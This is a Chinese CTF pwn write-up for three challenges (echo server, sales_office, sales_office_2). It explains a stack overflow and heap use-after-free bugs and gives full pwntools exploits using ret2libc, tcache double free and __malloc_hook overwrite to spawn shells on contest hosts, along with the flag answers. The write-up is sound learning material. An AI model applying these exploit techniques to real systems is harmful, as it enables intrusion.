目录
echo server
Description:
echo server 如果当前靶机无法访问,还可以访问: 183.129.189.60:10025 183.129.189.60:10039 183.129.189.60:10061
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { setbuf(stdin, 0LL); setbuf(stdout, 0LL); sub_4006D2(); return 0LL; }
sub_4006D2 函数如下:
int sub_4006D2() { unsigned int v1; // [rsp+Ch] [rbp-84h] char s; // [rsp+10h] [rbp-80h] v1 = 0; printf("how long is your name: "); __isoc99_scanf("%d", &v1); printf("and what's you name? ", &v1); memset(&s, 0, 0x80uLL); sub_4006A7(&s, v1); return printf("hello %s", &s); }
sub_4006A7 函数如下:
__int64 __fastcall sub_4006A7(void *a1, unsigned int a2) { return (unsigned int)read(0, a1, a2); }
可以看出这个题的意思就是你能向程序里写入你输入的数的长度的字符串
因为有 printf 的 got 表和 %s 的地址,所以直接 ret2libc 完事
一开始程序运行没有 rop3 的脚本直接挂了
考虑到是 glzjin 师傅宣传的比赛,所以默默地加了一个 ret 的地址,成功拿到 flag
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 2 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) else: p = remote('183.129.189.60', 10061) libc = ELF('./libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) got_read = elf.got['read'] plt_printf = elf.plt['printf'] rop1 = 0x0000000000400823 # pop rdi ; ret rop2 = 0x0000000000400821 # pop rsi ; pop r15 ; ret rop3 = 0x000000000040055e # ret addr_start = 0x4005C0 addr_fmt = 0x40087b # gdb.attach(p, "b *0x400767\nb *0x400761\nc") p.sendlineafter('r name: ', '1000') pd = 'a' * 0x88 pd += p64(rop1) pd += p64(addr_fmt) pd += p64(rop2) pd += p64(got_read) pd += p64(0) pd += p64(plt_printf) pd += p64(addr_start) p.sendafter('u name? ', pd) p.recvuntil('\x08\x40') addr_read = u64(p.recv(6).ljust(8, '\x00')) libcbase = addr_read - libc.sym['read'] addr_system = libcbase + libc.sym['system'] addr_bin_sh = libcbase + libc.search('/bin/sh').next() ''' libc = easyLibc('read', addr_read) libcbase = addr_read - libc.dump('read') addr_system = libcbase + libc.dump('system') addr_bin_sh = libcbase + libc.dump('str_bin_sh') ''' p.sendlineafter('r name: ', '1000') pd = 'a' * 0x88 pd += p64(rop3) pd += p64(rop1) pd += p64(addr_bin_sh) pd += p64(addr_system) pd += p64(addr_start) p.sendafter('u name? ', pd) p.recv() p.interactive()
Flag:
efc5b74ddb1cfc7a80237e46ed288395
sales_office
Description:
买套房吧! 如果当前靶机无法访问,还可以访问: 183.129.189.60:10024 183.129.189.60:10038 183.129.189.60:10060 请提交flag{}/DASCTF{}括号里面的内容
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
// local variable allocation has failed, the output may be wrong! int __cdecl main(int argc, const char **argv, const char **envp) { __int64 savedregs; // [rsp+10h] [rbp+0h] init(*(_QWORD *)&argc, argv, envp); while ( 1 ) { menu(); read_int(); switch ( (unsigned int)&savedregs ) { case 1u: buy(); break; case 2u: decorate(); break; case 3u: show(); break; case 4u: sell(); break; case 5u: puts("bye!"); exit(0); return; default: puts("Invalid!"); break; } } }
buy 函数如下:
int buy() { int v0; // ebx void **v2; // rbx int v3; // [rsp+Ch] [rbp-14h] if ( num > 12 ) puts("You have no money."); v0 = num; area[v0] = (void **)malloc(0x10uLL); puts("Please input the size of your house:"); v3 = read_int(); if ( v3 > 0x60 ) return puts("You can't afford it."); if ( v3 < 0 ) return puts("?"); *((_DWORD *)area[num] + 2) = v3; v2 = area[num]; *v2 = malloc(v3); puts("please decorate your house:"); read(0, *area[num], v3); puts("Done!"); return num++ + 1; }
show 函数如下:
int show() { int v1; // [rsp+Ch] [rbp-4h] puts("index:"); v1 = read_int(); if ( area[v1] ) { puts("house:"); puts((const char *)*area[v1]); } return puts("Done!"); }
sell 函数如下:
int sell() { int v1; // [rsp+Ch] [rbp-4h] puts("index:"); v1 = read_int(); if ( v1 < 0 || v1 > 12 ) exit(0); if ( area[v1] ) { free(*area[v1]); free(area[v1]); } return puts("Done!"); }
可以看到 sell 函数中存在 UAF,show 函数能泄露一些信息
libc 是 2.27 的,这题的利用思路点就是劫持 tcache_struct
首先劫持到这个结构体,修改堆块数量,后面调试调试,来确定最终应该改成什么数值
然后没啥写的了,用 tcache bin 多次 double free 就行了
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 2 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) else: p = remote('183.129.189.60', 10060) libc = ELF('./libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) got_setvbuf = elf.got['setvbuf'] libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] def add(add_size, add_content): p.sendlineafter('choice:', '1') p.sendlineafter('f your house:\n', str(add_size)) p.sendafter('e your house:\n', add_content) def show(show_idx): p.sendlineafter('choice:', '3') p.sendlineafter('index:\n', str(show_idx)) p.recvuntil('house:\n') def delete(delete_idx): p.sendlineafter('choice:', '4') p.sendlineafter('index:\n', str(delete_idx)) add(0x50, 'a') add(0x10, 'a') add(0x30, 'a') add(0x30, 'a') delete(0) delete(0) show(0) heapbase = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x260 add(0x10, p64(heapbase + 0x10)) add(0x10, p64(0xffffff01ff00ff01)) delete(1) delete(1) add(0x10, p64(got_setvbuf)) add(0x40, '\xf0') add(0x10, '\xf0') show(8) addr_setvbuf = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00')) libcbase = addr_setvbuf - libc.sym['setvbuf'] addr___malloc_hook = libcbase + libc.sym['__malloc_hook'] addr_one_gadget = libcbase + libc_one_gadget[2] delete(2) delete(3) delete(3) add(0x10, p64(addr___malloc_hook)) add(0x30, 'a') add(0x10, p64(addr_one_gadget)) p.sendlineafter('choice:', '1') success('heapbase = ' + hex(heapbase)) success('addr_setvbuf = ' + hex(addr_setvbuf)) success('addr___malloc_hook = ' + hex(addr___malloc_hook)) # gdb.attach(p) p.interactive()
Flag:
fb1dc590ab91fe3a7422753161573991
sales_office_2
Description:
libc 版本更换为了 2.29 题目地址: das.wetolink.com:28499 附件地址: https://cos.dasctf.wetolink.com/sales_office https://cos.dasctf.wetolink.com/libc.so
Solution:
这道题和 sales_office 的题目文件一模一样,区别在于 libc 换成了 2.29 的
赛后才做出来,之前想麻烦了,不需要改 tcache_struct
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('das.wetolink.com', 28499) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) def add(add_size, add_content): p.sendlineafter('choice:', '1') p.sendlineafter('f your house:\n', str(add_size)) p.sendafter('e your house:\n', add_content) def show(show_idx): p.sendlineafter('choice:', '3') p.sendlineafter('index:\n', str(show_idx)) p.recvuntil('house:\n') def delete(delete_idx): p.sendlineafter('choice:', '4') p.sendlineafter('index:\n', str(delete_idx)) got_read = elf.got['read'] libc_one_gadget = [0xe237f, 0xe2383, 0xe2386, 0x106ef8] for i in range(0, 11): add(0x30, 'a') for i in range(0, 9): delete(i) delete(7) show(2) heapbase = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x260 for i in range(0, 3): add(0, '') add(0x10, p64(heapbase + 0x260)) add(0x20, p64(0)) add(8, p64(got_read)) show(0) addr_read = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00')) libcbase = addr_read - libc.sym['read'] addr_one_gadget = libcbase + libc_one_gadget[0] add(0x20, p64(0)) # gdb.attach(p, "b *0x4009FB\nc") add(0x10, p64(addr_one_gadget)) p.sendlineafter('choice:', '/bin/sh') success('heapbase = ' + hex(heapbase)) success('addr_read = ' + hex(addr_read)) p.interactive()
Flag:
THE_FLAG_OF_THIS_STRING